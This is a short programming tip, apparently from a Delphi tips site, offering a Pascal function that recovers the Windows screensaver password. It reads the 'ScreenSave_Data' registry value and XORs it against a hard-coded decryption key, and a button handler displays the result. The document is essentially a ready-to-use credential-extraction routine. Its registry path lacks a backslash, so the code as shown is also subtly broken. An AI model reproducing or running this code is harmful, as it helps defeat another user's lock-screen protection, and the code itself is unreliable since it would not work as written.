Get the Password of the screensaver (Views: 709)
Problem/Question/Abstract: How to get the Password of the screensaver? Answer: //this is a small function which give the password of the screensaver!! function GetScrPass: string; var ScrnSvrPss: string; reg: TRegistry; buf: array[0..256] of char; length: word; a: byte; asdec: byte; password: string[128]; const // Decrypts the screen saver password from the registry xorwert: array[1..128] of byte = (72, 238, 118, 29, 103, 105, 161, 27, 122, 140, 71, 248, 84, 149, 151, 95, 120, 217, 218, 108, 89, 215, 107, 53, 197, 119, 133, 24, 42, 14, 82, 255, 0, 227, 27, 113, 141, 52, 99, 235, 145, 195, 36, 15, 183, 194, 248, 227, 182, 84, 76, 53, 84, 231, 201, 73, 40, 163, 133, 17, 11, 44, 104, 251, 238, 125, 246, 108, 227, 156, 45, 228, 114, 195, 187, 133, 26, 18, 60, 50, 227, 107, 79, 77, 244, 169, 36, 200, 250, 120 , 173, 35, 161, 228, 109, 154, 4, 206, 43, 197, 182, 197, 239, 147, 92, 168, 133, 43, 65, 55, 114, 250, 87, 69, 65, 161, 32, 79, 128, 179, 213, 35, 2, 100 , 63, 108, 241, 15); begin password := ''; reg := TRegistry.Create; reg.RootKey := HKEY_CURRENT_USER; Reg.OpenKey('Control PanelDesktop', FALSE); Reg.ReadBinaryData('ScreenSave_Data', buf, sizeof(buf)); length := (Reg.GetDataSize('ScreenSave_Data') - 1) shr 1; if Reg.ReadBool('ScreenSaveUsePassword') then for a := 1 to length do begin asdec := StrToInt('$' + buf[(a shl 1) - 2] + buf[(a shl 1) - 1]); password := concat(password, Chr(asdec xor xorwert[a])); end else password := 'There was an error getting the password.'; reg.free; ScrnSvrPss := password; //sleep(1000); result := ScrnSvrPss; end; procedure TForm1.Button1Click(Sender: TObject); begin edit1.text := GetScrPass; end; |